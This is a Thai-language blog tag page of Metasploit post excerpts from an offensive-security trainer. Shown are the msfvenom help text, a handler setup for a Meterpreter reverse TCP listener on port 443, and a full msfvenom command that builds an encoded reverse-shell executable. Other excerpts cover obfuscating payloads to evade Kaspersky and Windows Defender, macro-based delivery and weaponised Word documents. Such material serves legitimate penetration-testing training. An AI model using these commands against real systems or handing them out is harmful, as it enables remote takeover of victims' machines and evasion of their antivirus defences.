Posts by tag
metasploit
เนื่องด้วยช่วงนี้ผมสร้าง payload ด้วย metasploit บ่อยในหลายๆสกุล ก็เลยขอโพสต์รวม payload ทั้งหมดที่สร้างด้วย Msfvenom เลยละกันครับ 1. ดู help ของ msfvenom
2. การสร้าง listener
3. payload generate ต่างๆ Windows
Windows – add user…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
MsfVenom - a Metasploit standalone payload generator. Also a replacement for msfpayload and msfencode. Usage: /usr/bin/msfvenom [options] <var=val> Options: -l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, formats, all -p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom --list-options List --payload <value>'s standard, advanced and evasion options -f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list) --smallest Generate the smallest possible payload using all available encoders -a, --arch <arch> The architecture to use for --payload and --encoders --platform <platform> The platform for --payload (use --list platforms to list) -o, --out <path> Save the payload to a file -b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload -s, --space <length> The maximum size of the resulting payload --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include -x, --template <path> Specify a custom executable file to use as a template -k, --keep Preserve the --template behaviour and inject the payload as a new thread -v, --var-name <value> Specify a custom variable name to use for certain output formats -t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message |
1 2 3 4 5 |
msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set lport 443 msf > set lhost 10.211.55.50 msf > exploit -j |
1 |
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.50 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe |
โดยปกติแล้วหากเราสร้าง payload ด้วย msfvenom ไปเป็น exe, powershell เองก็ตามจะติด Kaspersky, Windows Defender ทีนี้ทาง Trustsec ได้สร้าง script สำหรับการสร้าง obfuscate (การปรับเปลี่ยนหรือเจือปน payload ใดๆที่ทำให้รูปลักษณ์หรือการทำงานแตกต่างจากเดิมแต่ได้รับผลเช่นเดิม) payload ขึ้นมา เพื่อให้เราสามารถสร้าง payload ไปรันใน Windows 10 ได้ นั่นคือ Unicorn…
ก่อนหน้านี้เราเคยใช้ Metasploit ในการสร้าง Macro และไม่ใช้ Macro มาแล้วก็หลายต่อหลายครั้ง รวมถึงครั้งที่ผมเคยไปพูดในงาน Redpill 2017 ที่ผ่านมาก็มีการสร้าง payload ด้วย Metasploit แล้ว Obfuscate มันด้วยการทำ sub word หรือการเปลี่ยนลักษณะการรัน macro ซึ่งทำให้ bypass Windows Defender ในขณะนั้นมาแล้ว มาคราวนี้เป็นอีกวิธีหนึ่งคือการรัน Metasploit ผ่าน comment…
ก่อนหน้านี้ใน Course Offensive & Detection ที่เพิ่งสอนไปเมื่อวันที่ 25,26 กุมภาพันธ์ที่ผ่านมามีคนถามว่า จะทำยังไงให้ Metasploit Listener รับ connection จาก Client ได้เรื่อยๆ ซึ่งจริงๆก็สอนไปแล้วแหล่ะใน course นั้น แต่เผื่อคนอื่นที่ยังไม่รู้เหมือนกันก็เลยมาโพสต์ละกัน 1. หลังจากที่เราส่ง payload ไปให้กับ Client แล้ว เราก็มารัน Listener เพื่อรอรับ connection…
โดยปกติใน Metasploit นั้นมี module cmd/powershell_base64 แต่การทำงานของมันไม่ได้เป็นการทำงานให้ออกมาในรูปแบบของ oneline powershell ทำให้นำไปใช้ต่อมันยากกว่าของพวก Powershell Empire ดังนั้นเราจึงต้องสร้าง powershell base64 oneline ขึ้นมาเอง โดยในที่นี้เราจะสร้าง encoder module ขึ้นมาใหม่ โดยทำดังนี้ 1. สร้าง folder ใหม่ที่ /usr/share/metasploit-framework/modules/encoders/powershell/
2. สร้างไฟล์ base64.rb ขึ้นมา…
1 |
mkdir /usr/share/metasploit-framework/modules/encoders/powershell/ |
Metasploit เป็นเครื่องมือที่เรียกว่า Exploit Framework ซึ่งสามารถทำได้หลายอย่าง ตั้งแต่เป็น framework สำหรับการใช้งาน exploit ระบบ รวมถึงการใช้งานเพื่อการสร้าง module ใดๆในการโจมตี หรือการหาข้อมูลเครื่องเป้าหมาย โดยมีอีกส่วนที่สำคัญคือการรสร้าง backdoor หรือ payload ขึ้นมาเอง โดยใช้คำสั่งที่ชื่อว่า msfvenom โดยตัว payload นั้นจะแบ่งออกเป็น 3 ประเภท single(inline) หรือเรียกอีกอย่างว่า Stageless staged…
เนื่องด้วยมีคนถามเข้ามาเกี่ยวกับการทำ Metasploit ให้เป็นเหมือนคล้ายๆกับ C&C Server ที่รับหลายๆ Session ของการ call back พร้อมกัน ก็เลยมาโพสต์ไว้ในนี้ละกันครับ คือโดยปกติการใช้งานทั้งส่วนของ Exploit ใดๆ หรือการรอรับ(Listener) ของ Payload ใดๆ ใน Metasploit จะรับแค่ Connection เดียว ทีนี้หากเราต้องการให้รอรับ Connection ไปเรื่อยๆจนกระทั่ง kill job เราสามารถทำได้โดยใช้…
Rapid7 ได้ออก configuration Docker และ Docker Composer ของ Metasploit เพื่อให้บริษัทต่างๆสามารถนำ Metasploit ไปวางไว้ในโครงสร้างแบบ Docker ได้ การ support ดังกล่าวจะทำให้ผู้ดูแลสามารถสร้าง metasploit docker instance ได้โดยง่าย ไม่ต้องกำหนดรายละเอียดใน Dockerfile แบบติดตั้งเพิ่มอีกต่อไป อีกทั้งยังได้รับการ support จากทางทีมงานของ Rapid7 อีกด้วย ส่วนเรื่องรายละเอียดอื่นๆของ…
หลังจากที่ต้องใช้ msfvenom สร้าง macro แล้วนำไปยัดใส่ไฟล์ Microsoft Word/OpenOffice เองมานาน ล่าสุด Metasploit ก็สร้าง module สำหรับการสร้างไฟล์ Word ที่มี exploit macro ฝังไว้ให้ง่ายๆเลย Module ใหม่นี้มีชื่อว่า office_word_macro อยู่ภายใต้ exploit/multi/fileformat/office_word_macro โดยเมื่อสร้างเสร็จแล้วจะอยู่ที่ ~/.msf4/local/ ครับ Source:: Rapid7.com
Recent Comments